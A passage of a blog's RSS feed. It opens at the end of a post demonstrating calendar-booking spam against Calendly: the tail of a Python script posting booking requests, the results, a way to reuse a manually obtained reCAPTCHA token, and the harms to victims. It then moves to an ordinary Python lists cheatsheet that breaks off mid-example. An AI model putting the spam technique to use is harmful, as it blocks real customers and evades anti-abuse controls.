</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;same-origin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;TE&#34;</span><span class="p">:</span> <span class="s2">&#34;trailers&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="c1"># finally, send a POST request with our payload to schedule an appointment</span>
</span></span><span class="line"><span class="cl">                <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">scheduling_url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="c1"># for debugging</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Status Code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Payload sent: </span><span class="si">{</span><span class="n">payload</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Successful request.&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I ran the script for a bit to create appointments. Soon after I started getting emails about appointments being made:</p>
<img src="/calendly-spam/mailbox.webp" alt="Gmail inbox showing an influx of Calendly appointments" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>And for further confirmation I also refreshed my Calendly calendar and saw that there were a couple days that are no longer available (May 16 and May 17):</p>
<img src="/calendly-spam/dates-available-aftermath.webp" alt="Remaining dates available for scheduling" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>This was much easier than expected. I didn&rsquo;t even let my script run indefinitely.</p>
<h2 id="there-are-some-security-measures">There are Some Security Measures</h2>
<p>After (presumably) sending too many requests I started getting a <code>400</code> status code in the response along with a message:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="err">&#39;message&#39;:</span> <span class="err">&#39;recaptcha_challenge_required&#39;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It looks like there are <em>some</em> anti-spam measures in place.</p>
<p>Looking back at the original payload when making a <code>POST</code> request I see that there&rsquo;s a <code>recaptcha_token</code> in the JSON payload. I believe this is only created in the browser when it&rsquo;s evident that a real person is using Calendly. I don&rsquo;t know if there&rsquo;s a way to automate this in a script.</p>
<p>Either way, someone could manually schedule an appointment, check the browser dev tools to retrieve the token, copy and paste the token into a script, and spam someone&rsquo;s calendar. I didn&rsquo;t bother trying myself though because I&rsquo;ve already determined that Calendly is trivial to abuse even without the <code>recaptcha_token</code>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Calendly is susceptible to spam.</p>
<p>I can think of a few scenarios where this could do some damage:</p>
<ul>
<li>If you&rsquo;re a salesperson, something like this would fill up your calendar and prevent potential customers from booking time with you.</li>
<li>If you provide support to customers via Calendly, your calendar would also fill up, preventing actual customers from seeking support.</li>
<li>If you get spammed, you may take the time to delete appointments and you might accidentally delete some legitimate appointments with real people.</li>
</ul>
<p>There&rsquo;s probably a lot more scenarios.</p>
<h2 id="further-reading">Further Reading</h2>
<p>After writing this post I noticed someone else already had the same idea. I hesitated to link this because it&rsquo;s essentially an advertisement for this company&rsquo;s product but the article is still somewhat interesting (I have no association with this company). I also think their title is better than mine:</p>
<ul>
<li>

<a href="https://www.ipm-corporation.com/research/distributed-denial-of-scheduling-on-calendly" target="_blank" rel="noopener">https://www.ipm-corporation.com/research/distributed-denial-of-scheduling-on-calendly</a></li>
</ul>
<p>I also noticed that there are Calendly API docs. These would have come in handy earlier but I only found out after I was done. That&rsquo;s fine though, the process of figuring it all out by inspecting browser requests was fun:</p>
<ul>
<li>

<a href="https://developer.calendly.com/api-docs/" target="_blank" rel="noopener">https://developer.calendly.com/api-docs/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Python Lists Cheatsheet</title>
      <link>https://nelson.cloud/python-lists-cheatsheet/?ref=rss</link>
      <pubDate>Mon, 29 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/python-lists-cheatsheet/?ref=rss</guid>
      <description>A Python lists cheatsheet for coding interviews.</description><content:encoded><![CDATA[<p>This is yet another cheatsheet I made for myself when studying for 

<a href="https://leetcode.com/" target="_blank" rel="noopener">Leetcode</a> and 

<a href="https://www.hackerrank.com/" target="_blank" rel="noopener">Hackerrank</a> kinds of interviews. It&rsquo;s organized in a way that makes sense to me.</p>
<p>I previously made a 

<a href="https://nelson.cloud/ruby-arrays-cheatsheet/">Ruby Arrays Cheatsheet</a> you can check out.</p>
<p>All examples were tested using the Python 3.12.12 

<a href="https://www.pythonmorsels.com/using-the-python-repl/" target="_blank" rel="noopener">REPL</a>.</p>
<h2 id="initializing-a-list">Initializing a List</h2>
<h3 id="empty-list">Empty List</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="list-with-elements">List with Elements</h3>
<p>Initializing a list of integers:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Initializing a list of strings:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can mix different types of elements:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">],</span> <span class="p">{</span><span class="s2">&#34;my_key&#34;</span><span class="p">:</span> <span class="s2">&#34;my_value&#34;</span><span class="p">}]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, &#39;A&#39;, [2, 3], {&#39;my_key&#39;: &#39;my_value&#39;}]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="adding-elements">Adding Elements</h2>
<h3 id="at-the-beginning-of-a-list">At the Beginning of a List</h3>
<p>We can also use <code>insert()</code> to add elements to the beginning of a list by specifying index 0:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [4, 1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-the-end-of-a-list">At the End of a List</h3>
<p>Use <code>append()</code> to add an element to the end of a list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-a-specific-index">At a Specific Index</h3>
<p>Use <code>insert()</code> and specify the index and element to add:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [&#39;A&#39;, &#39;D&#39;, &#39;B&#39;, &#39;C&#39;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="removing-elements">Removing Elements</h2>
<h3 id="at-the-beginning-of-a-list-1">At the Beginning of a List</h3>
<p>We can use <code>del()</code> and specify index 0. This modifies the list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="k">del</span><span class="p">(</span><span class="n">my_list</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [2, 3, 4]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">del</span> <span class="n">my_list</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-the-end-of-a-list-1">At the End of a List</h3>
<p>We can use <code>pop()</code>. Modifies list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can also use <code>del()</code> and specify the last index, which should be <code>len(list) - 1</code>, but using <code>pop()</code> is a bit cleaner in my opinion.</p>
<h3 id="at-a-specific-index-1">At a Specific Index</h3>
<p>Similar to removing an element from the beginning of the list, except we pass in a different index aside from 0:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="k">del</span><span class="p">(</span><span class="n">my_list</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [&#39;A&#39;, &#39;B&#39;, &#39;D&#39;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="retrieving-elements">Retrieving Elements</h2>
<h3 id="the-first-element">The First Element</h3>
<p>There&rsquo;s no built-in Python method to get the first element as far as I know, just specify index 0 like in most programming languages:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">char</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;A&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="the-last-element">The Last Element</h3>
<p>Use index -1 to get the last element of a list. Negative indices start at the end of the list.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">char</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;D&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="element-at-a-specific-index">Element at a Specific Index</h3>
<p>Similar to other programming languages, specify an index:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">char</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;C&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="sorting-lists">Sorting Lists</h2>
<p>We can use <code>sort()</code> to sort a list. This modifies the list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">sort</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can also use <code>sorted()</code>. This returns a new list and does not modify the original list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">sorted_list</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [4, 5, 1, 3, 2]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">sorted_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="looping-through-lists">Looping Through Lists</h2>
<h3 id="each-element">Each Element</h3>
<p>Use <code>for &lt;element&gt; in &lt;list_name&gt;</code> syntax:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">my_list</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># A</span>
</span></span><span class="line"><span class="cl"><span class="c1"># B</span>
</span></span><span class="line"><span class="cl"><span class="c1"># C</span>
</span></span><span class="line"><span class="cl"><span class="c1"># D</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="each-index">Each Index</h3>
<p>Use <code>range()</code> and <code>len()</code> to loop through a list&rsquo;s indices:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">index</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">my_list</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 0</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 1</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 2</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="element-and-index">Element and Index</h3>
<p>Use <code>enumerate()</code> to loop through both elements and indices:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">element</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">my_list</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Index: </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s1">, Element: </span><span class="si">{</span><span class="n">element</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 0, Element: A</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 1, Element: B</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 2, Element: C</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 3, Element: D</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="other-things-to-know">Other Things to Know</h2>
<h3 id="lists-vs-arrays">Lists vs Arrays</h3>
<p>There are both Arrays and Lists in Python. Arrays are saved contiguously in memory so they are faster for reading but insertion and deletion costs are high. Arrays can only have elements of the same type.</p>
<p>Lists are more flexible. Lists can have elements of different types. The flexibility of Lists results in more memory being used by these data structures.</p>
<p>Here&rsquo;s an example of an Array of integers being created in Python.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
